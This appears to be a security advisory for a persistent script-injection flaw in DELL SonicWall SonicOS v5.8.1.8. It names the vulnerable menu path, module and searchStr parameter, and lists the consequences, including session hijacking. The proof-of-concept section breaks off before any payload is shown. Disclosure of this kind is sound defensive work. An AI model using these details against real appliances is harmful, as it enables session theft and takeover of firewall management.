Details:
========
A persistent POST Injection (input validation) vulnerability is detected in the official DELL Sonicwall SonicOS v5.8.1.8 Firewall Series Appliance Application.
The vulnerability typus allows an attacker to inject via POST request own malicious script code in the vulnerable module on application side (persistent).
The vulnerability is located in the Firewall > Match Object > Edit Match Object section when processing to request via the `Search > appFirewallObjects`
module the bound vulnerable [searchStr] application parameter. The persistent injected script code will be executed out of the searchstr name listing
web application context.
The bug can be exploited with a low (restricted) privileged application user account and low required user inter action. Successful exploitation of
the vulnerability result in persistent session hijacking, persistent phishing, external redirect, external malware loads and persistent vulnerable
module context manipulation.
Vulnerable Section(s):
[+] Firewall > Match Object > Edit Match Object
Vulnerable Module(s):
[+] Search > appFirewallObjects
Vulnerable Parameter(s):
[+] [searchStr] - Name Listing
Proof of Concept:
=================
The persistent post injection vulnerability can be exploited by remote attackers with low privileged application user account and
low required user interaction. For demonstration or reproduce ...
